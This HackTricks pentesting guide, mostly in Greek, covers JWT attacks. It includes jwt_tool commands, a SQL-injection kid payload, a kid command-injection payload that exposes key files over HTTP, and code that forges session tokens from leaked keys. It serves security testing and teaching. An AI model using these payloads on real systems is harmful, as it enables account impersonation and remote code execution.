JWT Ευπάθειες (Json Web Tokens)
Tip
Μάθετε & εξασκηθείτε στο AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Ελέγξτε τα σχέδια συνδρομής!
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.
Μέρος αυτού του άρθρου βασίζεται στο εξαιρετικό άρθρο: https://github.com/ticarpi/jwt_tool/wiki/Attack-Methodology
Ο δημιουργός του εξαιρετικού εργαλείου για pentest JWTs https://github.com/ticarpi/jwt_tool
Γρήγορα Κέρδη
Εκτελέστε jwt_tool με λειτουργία All Tests! και περιμένετε τις πράσινες γραμμές
python3 jwt_tool.py -M at \
-t "https://api.example.com/api/v1/user/76bab5dd-9307-ab04-8123-fda81234245" \
-rh "Authorization: Bearer eyJhbG...<JWT Token>"
Αν είστε τυχεροί, το εργαλείο θα βρει κάποια περίπτωση όπου η web εφαρμογή ελέγχει λανθασμένα το JWT:
.png)
Στη συνέχεια, μπορείτε να αναζητήσετε το request στον proxy σας ή να κάνετε dump το JWT που χρησιμοποιήθηκε για αυτό το request χρησιμοποιώντας jwt_ tool:
python3 jwt_tool.py -Q "jwttool_706649b802c9f5e41052062a3787b291"
You can also use the Burp Extension SignSaboteur to launch JWT attacks from Burp.
Παραποίηση δεδομένων χωρίς να τροποποιήσετε τίποτα
Μπορείτε απλά να παραποιήσετε τα δεδομένα αφήνοντας την υπογραφή ανέπαφη και να ελέγξετε αν ο server ελέγχει την υπογραφή. Δοκιμάστε να αλλάξετε το username σας σε “admin”, για παράδειγμα.
Ελέγχεται το token;
- Ένα μήνυμα σφάλματος υποδηλώνει ότι γίνεται επαλήθευση· ευαίσθητες λεπτομέρειες σε λεπτομερή σφάλματα πρέπει να εξεταστούν.
- Μια αλλαγή στη σελίδα που επιστρέφεται επίσης υποδηλώνει επαλήθευση.
- Η απουσία αλλαγής υποδεικνύει ότι δεν γίνεται επαλήθευση· τότε είναι η στιγμή να πειραματιστείτε με την παραποίηση των claims του payload.
Origin
Είναι σημαντικό να προσδιορίσετε αν το token δημιουργήθηκε server-side ή client-side εξετάζοντας το ιστορικό αιτήσεων του proxy.
- Tokens που πρωτοεμφανίζονται από την πλευρά του client υποδεικνύουν ότι το κλειδί μπορεί να είναι εκτεθειμένο στον client-side κώδικα, απαιτώντας περαιτέρω διερεύνηση.
- Tokens που προέρχονται server-side υποδεικνύουν μια πιο ασφαλή διαδικασία.
Duration
Ελέγξτε αν το token διαρκεί περισσότερο από 24 ώρες… ίσως να μην λήγει ποτέ. Αν υπάρχει το πεδίο “exp”, ελέγξτε αν ο server το χειρίζεται σωστά.
Brute-force HMAC secret
Derive JWT secrets from leaked config + DB data
If an arbitrary file read (or backup leak) exposes both application encryption material and user records, you can sometimes recreate the JWT signing secret and forge session cookies without knowing any plaintext passwords. Example pattern observed in workflow automation stacks:
- Leak the app key (e.g.,
encryptionKey) from a config file. - Leak the user table to obtain
email,password_hash, anduser_id. - Derive the signing secret from the key, then derive the per-user hash expected in the JWT payload:
jwt_secret = sha256(encryption_key[::2]).hexdigest() # signing key
jwt_hash = b64encode(sha256(f"{email}:{password_hash}")).decode()[:10]
token = jwt.encode({"id": user_id, "hash": jwt_hash}, jwt_secret, "HS256")
- Drop the signed token into the session cookie (e.g.,
n8n-auth) to impersonate the user/admin account even if the password hash is salted.
Modify the algorithm to None
Set the algorithm used as “None” and remove the signature part.
Use the Burp extension call “JSON Web Token” to try this vulnerability and to change different values inside the JWT (send the request to Repeater and in the “JSON Web Token” tab you can modify the values of the token. You can also select to put the value of the “Alg” field to “None”).
Change the algorithm RS256(asymmetric) to HS256(symmetric) (CVE-2016-5431/CVE-2016-10555)
Ο αλγόριθμος HS256 χρησιμοποιεί το secret key για να υπογράψει και να επαληθεύσει κάθε μήνυμα.
Ο αλγόριθμος RS256 χρησιμοποιεί το private key για να υπογράψει το μήνυμα και το public key για την αυθεντικοποίηση.
Αν αλλάξετε τον αλγόριθμο από RS256 σε HS256, ο back end κώδικας χρησιμοποιεί το public key ως το secret key και μετά χρησιμοποιεί τον αλγόριθμο HS256 για να επαληθεύσει την υπογραφή.
Τότε, χρησιμοποιώντας το public key και αλλάζοντας RS256 σε HS256 μπορούμε να δημιουργήσουμε μια έγκυρη υπογραφή. Μπορείτε να ανακτήσετε το certificate του web server εκτελώντας αυτό:
openssl s_client -connect example.com:443 2>&1 < /dev/null | sed -n '/-----BEGIN/,/-----END/p' > certificatechain.pem #For this attack you can use the JOSEPH Burp extension. In the Repeater, select the JWS tab and select the Key confusion attack. Load the PEM, Update the request and send it. (This extension allows you to send the "non" algorithm attack also). It is also recommended to use the tool jwt_tool with the option 2 as the previous Burp Extension does not always works well.
openssl x509 -pubkey -in certificatechain.pem -noout > pubkey.pem
Νέο δημόσιο κλειδί μέσα στην επικεφαλίδα
Ένας επιτιθέμενος ενσωματώνει ένα νέο κλειδί στην επικεφαλίδα του token και ο server χρησιμοποιεί αυτό το νέο κλειδί για να επαληθεύσει την υπογραφή (CVE-2018-0114).
Αυτό μπορεί να γίνει με το “JSON Web Tokens” Burp extension.
(Στείλτε το request στο Repeater, μέσα στην καρτέλα JSON Web Token επιλέξτε “CVE-2018-0114” και στείλτε το request).
JWKS Spoofing
Οι οδηγίες περιγράφουν μια μέθοδο για την αξιολόγηση της ασφάλειας των JWT tokens, ιδιαίτερα αυτών που χρησιμοποιούν το claim “jku” στην επικεφαλίδα. Αυτό το claim θα πρέπει να δείχνει σε ένα αρχείο JWKS (JSON Web Key Set) που περιέχει το δημόσιο κλειδί απαραίτητο για την επαλήθευση του token.
-
Αξιολόγηση Tokens με “jku” Header:
-
Επαληθεύστε το URL του “jku” claim για να βεβαιωθείτε ότι οδηγεί στο κατάλληλο αρχείο JWKS.
-
Τροποποιήστε την τιμή “jku” του token ώστε να δείχνει σε μια ελεγχόμενη web υπηρεσία, επιτρέποντας την παρατήρηση της κίνησης.
-
Παρακολούθηση HTTP Αλληλεπίδρασης:
-
Η παρατήρηση HTTP αιτημάτων προς το καθορισμένο URL υποδεικνύει τις προσπάθειες του server να πάρει κλειδιά από το link που παρείχατε.
-
Όταν χρησιμοποιείτε το
jwt_toolγια αυτή τη διαδικασία, είναι κρίσιμο να ενημερώσετε το αρχείοjwtconf.iniμε τη δική σας τοποθεσία JWKS για να διευκολύνετε τις δοκιμές. -
Εντολή για
jwt_tool: -
Εκτελέστε την ακόλουθη εντολή για να προσομοιώσετε το σενάριο με το
jwt_tool:
python3 jwt_tool.py JWT_HERE -X s
Kid Issues Overview
Ένα προαιρετικό claim στην επικεφαλίδα γνωστό ως kid χρησιμοποιείται για την αναγνώριση ενός συγκεκριμένου κλειδιού, κάτι που γίνεται ιδιαίτερα σημαντικό σε περιβάλλοντα όπου υπάρχουν πολλαπλά κλειδιά για την επαλήθευση της υπογραφής του token. Αυτό το claim βοηθά στην επιλογή του κατάλληλου κλειδιού για την επαλήθευση της υπογραφής του token.
Αποκάλυψη κλειδιού μέσω “kid”
Όταν το claim kid υπάρχει στην επικεφαλίδα, συνιστάται να αναζητήσετε στον web κατάλογο το αντίστοιχο αρχείο ή παραλλαγές του. Για παράδειγμα, αν δηλώνεται “kid”:“key/12345”, θα πρέπει να αναζητήσετε τα αρχεία /key/12345 και /key/12345.pem στο web root.
Path Traversal with “kid”
Το claim kid μπορεί επίσης να αξιοποιηθεί για περιήγηση στο file system, ενδεχομένως επιτρέποντας την επιλογή ενός αυθαίρετου αρχείου. Είναι εφικτό να δοκιμαστεί η συνδεσιμότητα ή να εκτελεστούν επιθέσεις Server-Side Request Forgery (SSRF) τροποποιώντας την τιμή kid ώστε να στοχεύει συγκεκριμένα αρχεία ή υπηρεσίες. Η παραποίηση του JWT για αλλαγή της τιμής kid διατηρώντας την αρχική υπογραφή μπορεί να επιτευχθεί χρησιμοποιώντας την παράμετρο -T στο jwt_tool, όπως φαίνεται παρακάτω:
python3 jwt_tool.py <JWT> -I -hc kid -hv "../../dev/null" -S hs256 -p ""
Στοχεύοντας αρχεία με προβλέψιμο περιεχόμενο, είναι δυνατό να παραποιηθεί ένα έγκυρο JWT. Για παράδειγμα, το αρχείο /proc/sys/kernel/randomize_va_space σε συστήματα Linux, γνωστό ότι περιέχει την τιμή 2, μπορεί να χρησιμοποιηθεί στην παράμετρο kid με 2 ως συμμετρικό κλειδί για τη δημιουργία του JWT.
SQL Injection via “kid”
Εάν το περιεχόμενο του claim kid χρησιμοποιείται για να ανακτήσει έναν κωδικό από βάση δεδομένων, μπορεί να διευκολυνθεί ένα SQL injection τροποποιώντας το payload του kid. Ένα παράδειγμα payload που χρησιμοποιεί SQL injection για να αλλοιώσει τη διαδικασία υπογραφής του JWT περιλαμβάνει:
non-existent-index' UNION SELECT 'ATTACKER';-- -
Αυτή η τροποποίηση αναγκάζει τη χρήση ενός γνωστού secret key, ATTACKER, για την υπογραφή του JWT.
OS Injection through “kid”
Ένα σενάριο όπου η παράμετρος kid καθορίζει ένα μονοπάτι αρχείου που χρησιμοποιείται σε πλαίσιο εκτέλεσης εντολών μπορεί να οδηγήσει σε ευπάθειες Remote Code Execution (RCE). Εισάγοντας εντολές στην παράμετρο kid, είναι πιθανό να αποκαλυφθούν private keys. Ένα παράδειγμα payload για επίτευξη RCE και αποκάλυψης κλειδιών είναι:
/root/res/keys/secret7.key; cd /root/res/keys/ && python -m SimpleHTTPServer 1337&
x5u and jku
jku
jku stands for JWK Set URL.
Εάν το token χρησιμοποιεί το claim “jku” στο Header, τότε ελέγξτε το παρεχόμενο URL. Αυτό θα πρέπει να δείχνει σε ένα URL που περιέχει το αρχείο JWKS που περιέχει το Public Key για την επαλήθευση του token. Παραποιήστε το token ώστε η τιμή jku να δείχνει σε μια web υπηρεσία όπου μπορείτε να παρακολουθείτε την κίνηση.
First you need to create a new certificate with new private & public keys
openssl genrsa -out keypair.pem 2048
openssl rsa -in keypair.pem -pubout -out publickey.crt
openssl pkcs8 -topk8 -inform PEM -outform PEM -nocrypt -in keypair.pem -out pkcs8.key
Στη συνέχεια μπορείτε, για παράδειγμα, να χρησιμοποιήσετε jwt.io για να δημιουργήσετε το νέο JWT με τα created public and private keys and pointing the parameter jku to the certificate created.
Για να δημιουργήσετε ένα έγκυρο jku certificate μπορείτε να κατεβάσετε το αρχικό και να αλλάξετε τις απαραίτητες παραμέτρους.
Μπορείτε να λάβετε τις παραμέτρους “e” και “n” από ένα public certificate χρησιμοποιώντας:
from Crypto.PublicKey import RSA
fp = open("publickey.crt", "r")
key = RSA.importKey(fp.read())
fp.close()
print("n:", hex(key.n))
print("e:", hex(key.e))
x5u
X.509 URL. Ένα URI που δείχνει σε ένα σύνολο X.509 (ένα πρότυπο μορφής πιστοποιητικού) δημόσιων πιστοποιητικών κωδικοποιημένων σε μορφή PEM. Το πρώτο πιστοποιητικό στο σύνολο πρέπει να είναι αυτό που χρησιμοποιήθηκε για να υπογράψει αυτό το JWT. Τα επακόλουθα πιστοποιητικά υπογράφουν το καθένα το προηγούμενο, ολοκληρώνοντας έτσι την αλυσίδα πιστοποιητικών. X.509 is defined in RFC 52807. Απαιτείται ασφάλεια μεταφοράς για τη μεταφορά των πιστοποιητικών.
Δοκίμασε να αλλάξεις αυτό το header σε ένα URL που ελέγχεις και έλεγξε αν λαμβάνεται κάποιο αίτημα. Σε αυτή την περίπτωση θα μπορούσες να παραποιήσεις το JWT.
Για να δημιουργήσεις ένα νέο token χρησιμοποιώντας ένα πιστοποιητικό που ελέγχεις, πρέπει να δημιουργήσεις το πιστοποιητικό και να εξάγεις τα δημόσια και ιδιωτικά κλειδιά:
openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -out attacker.crt
openssl x509 -pubkey -noout -in attacker.crt > publicKey.pem
Τότε μπορείτε να χρησιμοποιήσετε για παράδειγμα jwt.io για να δημιουργήσετε το νέο JWT με τα δημιουργημένα public και private keys και δείχνοντας την παράμετρο x5u στο δημιουργημένο πιστοποιητικό .crt.
.png)
Μπορείτε επίσης να εκμεταλλευτείτε και τα δύο αυτά vulns για SSRFs.
x5c
Αυτή η παράμετρος μπορεί να περιέχει το certificate in base64:
.png)
If the attacker generates a self-signed certificate and creates a forged token using the corresponding private key and replace the “x5c” parameter’s value with the newly generatedcertificate and modifies the other parameters, namely n, e and x5t then essentially the forgedtoken would get accepted by the server.
openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -outattacker.crt
openssl x509 -in attacker.crt -text
Ενσωματωμένο δημόσιο κλειδί (CVE-2018-0114)
Αν το JWT έχει ενσωματωμένο δημόσιο κλειδί όπως στο ακόλουθο σενάριο:
.png)
Χρησιμοποιώντας το ακόλουθο nodejs script είναι δυνατό να δημιουργηθεί ένα δημόσιο κλειδί από αυτά τα δεδομένα:
const NodeRSA = require('node-rsa');
const fs = require('fs');
n ="ANQ3hoFoDxGQMhYOAc6CHmzz6_Z20hiP1Nvl1IN6phLwBj5gLei3e4e-DDmdwQ1zOueacCun0DkX1gMtTTX36jR8CnoBRBUTmNsQ7zaL3jIU4iXeYGuy7WPZ_TQEuAO1ogVQudn2zTXEiQeh-58tuPeTVpKmqZdS3Mpum3l72GHBbqggo_1h3cyvW4j3QM49YbV35aHV3WbwZJXPzWcDoEnCM4EwnqJiKeSpxvaClxQ5nQo3h2WdnV03C5WuLWaBNhDfC_HItdcaZ3pjImAjo4jkkej6mW3eXqtmDX39uZUyvwBzreMWh6uOu9W0DMdGBbfNNWcaR5tSZEGGj2divE8";
e = "AQAB";
const key = new NodeRSA();
var importedKey = key.importKey({n: Buffer.from(n, 'base64'),e: Buffer.from(e, 'base64'),}, 'components-public');
console.log(importedKey.exportKey("public"));
Είναι δυνατόν να δημιουργηθεί ένα νέο private/public key, να ενσωματωθεί το νέο public key μέσα στο token και να χρησιμοποιηθεί για να παραχθεί μια νέα signature:
openssl genrsa -out keypair.pem 2048
openssl rsa -in keypair.pem -pubout -out publickey.crt
openssl pkcs8 -topk8 -inform PEM -outform PEM -nocrypt -in keypair.pem -out pkcs8.key
Μπορείτε να αποκτήσετε τα “n” και “e” χρησιμοποιώντας αυτό το nodejs script:
const NodeRSA = require('node-rsa');
const fs = require('fs');
keyPair = fs.readFileSync("keypair.pem");
const key = new NodeRSA(keyPair);
const publicComponents = key.exportKey('components-public');
console.log('Parameter n: ', publicComponents.n.toString("hex"));
console.log('Parameter e: ', publicComponents.e.toString(16));
Τέλος, χρησιμοποιώντας το δημόσιο και ιδιωτικό κλειδί και τις νέες τιμές “n” και “e” μπορείτε να χρησιμοποιήσετε jwt.io για να κατασκευάσετε ένα νέο έγκυρο JWT με οποιεσδήποτε πληροφορίες.
ES256: Revealing the private key with same nonce
If some applications use ES256 and use the same nonce to generate two jwts, the private key can be restored.
Here is a example: ECDSA: Revealing the private key, if same nonce used (with SECP256k1)
JTI (JWT ID)
The JTI (JWT ID) claim provides a unique identifier for a JWT Token. It can be used to prevent the token from being replayed.
However, imagine a situation where the maximun length of the ID is 4 (0001-9999). The request 0001 and 10001 are going to use the same ID. So if the backend is incrementig the ID on each request you could abuse this to replay a request (needing to send 10000 request between each successful replay).
JWT Registered claims
Other attacks
Cross-service Relay Attacks
It has been observed that some web applications rely on a trusted JWT service for the generation and management of their tokens. Instances have been recorded where a token, generated for one client by the JWT service, was accepted by another client of the same JWT service. If the issuance or renewal of a JWT via a third-party service is observed, the possibility of signing up for an account on another client of that service using the same username/email should be investigated. An attempt should then be made to replay the obtained token in a request to the target to see if it is accepted.
- A critical issue may be indicated by the acceptance of your token, potentially allowing the spoofing of any user’s account. However, it should be noted that permission for wider testing might be required if signing up on a third-party application, as this could enter a legal grey area.
Expiry Check of Tokens
The token’s expiry is checked using the “exp” Payload claim. Given that JWTs are often employed without session information, careful handling is required. In many instances, capturing and replaying another user’s JWT could enable impersonation of that user. The JWT RFC recommends mitigating JWT replay attacks by utilizing the “exp” claim to set an expiry time for the token. Furthermore, the implementation of relevant checks by the application to ensure the processing of this value and the rejection of expired tokens is crucial. If the token includes an “exp” claim and testing time limits allow, storing the token and replaying it after the expiry time has passed is advised. The content of the token, including timestamp parsing and expiry checking (timestamp in UTC), can be read using the jwt_tool’s -R flag.
- A security risk may be present if the application still validates the token, as it may imply that the token could never expire.
Tools
GitHub - ticarpi/jwt_tool: :snake: A toolkit for testing, tweaking and cracking JSON Web Tokens
References
Tip
Μάθετε & εξασκηθείτε στο AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Ελέγξτε τα σχέδια συνδρομής!
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.


